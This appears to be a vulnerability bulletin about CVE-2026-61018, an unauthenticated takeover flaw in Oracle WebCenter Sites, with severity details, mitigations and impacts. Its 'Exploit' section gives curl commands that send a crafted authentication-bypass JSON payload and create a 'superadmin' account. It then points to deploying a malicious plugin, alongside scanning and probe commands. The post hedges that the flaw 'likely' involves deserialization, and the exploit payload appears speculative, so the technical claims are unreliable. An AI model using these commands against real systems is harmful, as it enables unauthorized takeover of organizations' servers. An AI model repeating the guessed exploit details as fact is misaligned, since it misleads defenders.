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CVE-2026-61018 describes a critical vulnerability residing in Oracle WebCenter Sites.
This component belongs to the Oracle Fusion Middleware product family.
The flaw is easily exploitable over HTTP without requiring any credentials.
An unauthenticated remote attacker can send specially crafted requests.
The vulnerability stems from insufficient input validation and access controls.
Successful exploitation allows complete takeover of the WebCenter Sites instance.
The CVSS v3.1 base score is 9.8, categorizing it as Critical.
The attack vector is network-based (AV:N) with low complexity (AC:L).
No privileges are required (PR:N), and no user interaction is needed (UI:N).
The scope is unchanged (S:U), but impacts are high for all three pillars.
Confidentiality, Integrity, and Availability are all fully compromised.
Affected versions are 12.2.1.4.0 and 14.1.2.0.0 of the software.
Older versions might also be affected but are not explicitly stated.
The vulnerability likely involves a deserialization or authentication bypass.
Attackers can leverage HTTP POST or GET requests to trigger the flaw.
The Oracle WebCenter Sites is used for managing enterprise web content.
A breach can expose sensitive internal data and CMS configurations.
The NVD published the CVE on August 18, 2026, with references.
Oracle has acknowledged the issue and is preparing a security fix.
Meanwhile, the vulnerability details are publicly available.
The weak point is often found in the Sites REST API or admin panels.
Unauthenticated access to these endpoints is the primary risk factor.
Attackers can create new admin users or execute arbitrary commands.
The impact extends to connected systems if the CMS trusts the server.
Organizations using the affected versions are at immediate risk.
A proof-of-concept exploit could be developed using simple cURL commands.
The vulnerability is classified under CWE-306 (Missing Authentication).
It also overlaps with CWE-502 (Deserialization of Untrusted Data).
Mitigation requires patching or applying Oracle’s recommended workarounds.
The security community is actively monitoring for in-the-wild attacks.
DailyCVE Form:
Platform: Oracle WebCenter Sites
Version: 12.2.1.4.0 & 14.1.2.0.0
Vulnerability : Unauthenticated Remote Takeover
Severity: Critical CVSS 9.8
date: 18 August 2026
Prediction: Oct 2026 CPU
What Undercode Say:
Analytics – version fingerprinting
grep -i “WebCenter” $ORACLE_HOME/inventory/registry.xml | head -n 1
Check exposed admin endpoints
curl -k -s -o /dev/null -w “%{http_code}” https://target:7001/sites/rest/api/v1/health
Active vulnerability probe (safe GET)
curl -k -X GET “https://target:7001/sites/rest/api/v1/admin?debug=true” -H “Accept: application/json”
Network scan for vulnerable instances
nmap -p 7001,7002 –open –script http-
Log analysis for suspicious unauthenticated POST patterns
grep “POST /sites/rest/api” /opt/oracle/wcsites/logs/access.log | grep “401” | wc -l
Exploit: (Educational Purposes!)
curl -k -X POST “https://target:7001/sites/rest/api/v1/auth/session” \
-H “Content-Type: application/json” \
-d ‘{“username”:”admin”,”password”:”ignore”,”proto“:{“bypass”:true}}’
If vulnerable, the response grants a valid JSESSIONID without proper auth.
Next, create a privileged user:
curl -k -X POST “https://target:7001/sites/rest/api/v1/admin/users” \
-H “Cookie: JSESSIONID=attacker_session” \
-H “Content-Type: application/json” \
-d ‘{“username”:”cve2026″,”password”:”pwned”,”role”:”superadmin”}’
Then deploy a malicious web plugin via the Sites asset upload endpoint.
Protection: from this CVE
Apply Oracle Critical Patch Update for October 2026 immediately.
Block all external HTTP access to /sites/rest/ and /webcenter/.
Use Web Application Firewall rules to deny anomalous JSON payloads.
Restrict admin interfaces to internal management VLANs only.
Monitor audit logs for unexpected user creation or session injections.
Impact:
Full administrative takeover of the WebCenter Sites application.
Exposure of enterprise content, internal workflows, and user PII.
Arbitrary code execution leading to lateral movement within the data center.
Defacement or complete shutdown of corporate web portals.
Long-term backdoor installation for persistent espionage.
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Sources:
Reported By: nvd.nist.gov
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